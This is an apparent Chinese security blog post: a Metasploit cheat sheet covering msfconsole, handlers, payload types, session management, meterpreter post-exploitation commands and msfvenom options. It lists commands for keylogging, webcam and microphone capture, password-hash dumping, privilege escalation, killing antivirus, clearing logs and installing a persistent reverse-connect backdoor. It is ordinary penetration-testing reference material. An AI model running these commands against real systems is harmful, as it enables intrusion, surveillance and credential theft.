M09ic's Blog

独自行走于莽荒之地

0%

MetaSploit CheatSheet

介绍

metasploit官网

整理自多篇文章,参考链接在文章最后.

GUI工具:armitage

商业版有个web界面,但是不觉得命令行界面更cool吗?

类似工具Cobalt Strike

msf主要有以下模块.

  • 渗透攻击模块(Exploits)

  • 辅助模块(Aux)

  • 后渗透攻击模块(Post)

  • 攻击载荷模块(Payloads)

  • 空指令模块(Nops)

  • 编码器模块(Encoders)

    开始之前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 使用前需要打开postgres数据库
service postgresql start

# 打开msf 控制台终端
msfconsole

# 初始化数据库
msfdb init

# 重新初始化数据库
msfdb reinit

# 查看数据库连接情况
db_status

# 建立数据库缓存
db_rebuild_cache

# 查看帮助文档
help

渗透阶段

其实就是挑选一个模块,然后傻瓜式操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
show exploits			# 查看所有可用的渗透攻击程序代码 

show auxiliary # 查看所有可用的辅助攻击工具

search [args] # 查找需要的模块

info [args] # 查看模块信息

use [args] # 进入所选模块

show payloads # 查看该模块适用的所有载荷代码

show targets # 查看该模块适用的攻击目标类型

show options # 查看所有可用选项

show advanced # 查看高级参数

set [args] # 设置某个option参数

save # 将当期配置保存

run # 运行模块

back # 回退

options

1
2
3
4
5
6
7
8
9
10
11
12
# 简单介绍基本参数
LHOST # 获取shell的本地ip

LPORT # 获取shell的本机端口

RHOST # 攻击目标的ip

LPORT # 攻击目标的端口

PAYLOAD # 指定payload

TARGET # 指定目标主机类型

handler

获取一个普通的shell 用nc就可以,但是要获取meterpreter就需要用到handle模块

1
2
3
4
5
use exploit/mulit/handler
set payload [PAYLOAD]
set lhost [LHOST]
set lport [LPORT]
run

payloads

根据执行方式区分.payload分为:

  • Singles - Singles非常小,旨在建立某种通讯,然后进入下一阶段。 例如,只是创建一个用户。
  • Staged - 是一种攻击者用来将更大的文件上传到沦陷的系统的payload。
  • Stages - Stages是由Stagers模块下载的payload组件。 各种payload stages提供高级功能,没有规模限制,如Meterpreter和VNC Injection。

根据连接方式区分,payload分为:

  • bind - 在靶机上开放一个端口供攻击机连入
  • reverse - 在本机上监听一个端口,靶机主动连接

根据功能区分,payload分为:

  • shell - 功能与系统的shell一样

  • meterpreter - 集成了很多强大的实用功能

  • vnc injection - 在目标上打开一个vnc,目标主机需安装vnc服务

    后渗透阶段

session 管理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
seesions -l 			# 列出可用的session

sessions -d # 列出所有不活跃的session

sessions -i [sessionId] # 指定一个session

sessions -v # 列出详细信息

sessions -c [command] # 指定一条命令,通过-i指定session

sessions -s [script] # 在session中运行一个脚本,通过-i指定session

sessions -u [sessionId] # 将一个shell升级为metasploit shell

sessions -k [sessionId] # 杀死一个session

sessions -K # 杀死所有session

meterpreter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
# 基本命令
background # 让meterpreter处于后台模式

quit # 退出session

shell # 获取shell权限

irb # 开启ruby终端

# 文件系统命令
getwd # 查看当前工作目录

upload # 上传文件到目标机上

download # 下载文件到本机上

edit # 编辑文件

search # 搜索文件

# 网络命令
ipconfig | ifconfig # 查看网络接口信息

arp # 查看arp表

route # 查看路由

getproxy # 获取代理

portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444
rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop来连接,-u 用户名 -p 密码
route # 获取路由表信息

# 系统命令
ps # 查看当前活跃进程

migrate [pid] # 将Meterpreter会话移植到进程数位pid的进程中

execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

getpid # 获取当前进程的pid

kill [pid] # 杀死进程

getuid # 查看权限

sysinfo # 查看目标机系统信息,如机器名,操作系统等

shutdown # 关机

# 实用功能
enumdesktops # 用户登录数

keyscan_dump # 键盘记录-下载

keyscan_start # 键盘记录 - 开始

keyscan_stop # 键盘记录 - 停止

uictl # 获取键盘鼠标控制权

record_mic # 音频录制

webcam_chat # 查看摄像头接口

webcam_list # 查看摄像头列表

webcam_stream # 摄像头视频获取

getsystem # 获取高权限

hashdump # 下载账户hash

migrate # 将自身注入到其他进程中

clearev # 清除痕迹

screenshot # 截屏


# run
run [scriptName|moudleName] # 执行某个模块或脚本

# 常用模块
run persistence # persistence 向目标主机注入后门程序
# run persistence -X -i 5 -p 4444 -r 172.17.11.18
# -X 在目标主机上开机自启动
# -i 不断尝试反向连接的时间间隔

run metsvc # metsvc 注册服务

run packetrecorder # 查看网络流量,-i 指定网卡

run get_local_subnets # 获得本地网段

run getcountermeasure # 显示HIPS和AV进程的列表,显示远程机器的防火墙规则,列出DEP和UAC策略

run scraper # 获取网络共享信息

run killav # 中止杀毒软件进程

run vnc # 获得vnc远程桌面

run getgui -e # 开启远程桌面

run getgui -u example_username -p example_password # 添加账号
# 完整脚本列表在kali: /usr/share/metasploit-framework/scripts/meterpreter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 常用模块
post/windows/gather/forensics/enum_drives # 枚举存储器信息

post/windows/gather/checkvm # 检查是否是虚拟机

post/windows/gather/enum_applications # 获取目标主机上的软件安装信息

post/windows/gather/dumplinks # 获取目标主机上最近访问过的文档、链接信息

post/windows/gather/enum_ie # 读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码

post/windows/manage/killav # 关闭杀毒软件,可能导致蓝屏

post/windows/escalate/bypassuac # 绕过uac

post/windows/gather/hashdump # 获取系统hash

post/windows/manage/enable_rdp # 开启远程桌面

msfvenom

msfvenom是msfpayload,msfencode的结合体,它的优点是单一,命令行,和效率.利用msfvenom可以生成木马程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#msfvenom命令行选项
-p, --payload [payload] # 指定需要使用的payload(攻击荷载)

-l, --list [module_type] # 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all

-n, --nopsled [length] # 为payload预先指定一个NOP滑动长度

-f, --format [format] # 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)

-e, --encoder [encoder] # 指定需要使用的encoder(编码器)

-a, --arch [architecture] # 指定payload的目标架构

--platform [platform] # 指定payload的目标平台

-s, --space [length] # 设定有效攻击荷载的最大长度

-b, --bad-chars [list] # 设定规避字符集,比如: '\x00\xff'

-i, --iterations [count] # 指定payload的编码次数

-c, --add-code [path] # 指定一个附加的win32 shellcode文件

-x, --template [path] # 指定一个自定义的可执行文件作为模板

-k, --keep # 保护模板程序的动作,注入的payload作为一个新的进程运行

--payload-options # 列举payload的标准选项

-o, --out [path] # 保存payload

-v, --var-name [name] # 指定一个自定义的变量,以确定输出格式

--shellest # 最小化生成payload

-h, --help # 查看帮助选项

--help-formats # 查看msf支持的输出格式列表

参考链接

metasploit基础教程

metasploit wiki

后渗透阶段的meterpreter

meterpreter命令小结

Meterpreter命令详解

欢迎关注我的其它发布渠道